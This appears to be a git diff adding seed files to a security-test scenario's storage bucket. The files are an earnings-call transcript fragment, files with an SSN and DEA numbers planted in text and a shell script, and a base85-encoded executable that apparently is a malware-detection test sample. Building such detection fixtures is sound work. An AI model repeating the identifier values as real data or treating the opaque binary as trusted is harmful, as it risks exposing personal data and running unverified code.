Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. + +14685906102609842252788209059268 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_Healthcare.txt b/scenarios/scenario_5/infra/s3_files/2_Healthcare.txt new file mode 100644 index 0000000..13d1262 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_Healthcare.txt @@ -0,0 +1,6 @@ + +Health care - DEA BB4053839 | BJ6125341 +Health care - DEA BB4053869 | BJ985341 + +April_05_01 + \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_PII_33.sh b/scenarios/scenario_5/infra/s3_files/2_PII_33.sh new file mode 100644 index 0000000..0b2e80f --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_PII_33.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +echo "hello" + +ssn 098-07-3316 Current Time : April 12 2021 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_PII_latest.txt b/scenarios/scenario_5/infra/s3_files/2_PII_latest.txt new file mode 100644 index 0000000..cff7983 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_PII_latest.txt @@ -0,0 +1,3 @@ +ssn 098-07-3316 Current Time : May 6th 2:50 + +April_05_01 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe b/scenarios/scenario_5/infra/s3_files/2_wildfire-test-pe-file.exe new file mode 100644 index 0000000000000000000000000000000000000000..55bff600f27b77c147cc351f541f4795cbdbe67d GIT binary patch literal 55296 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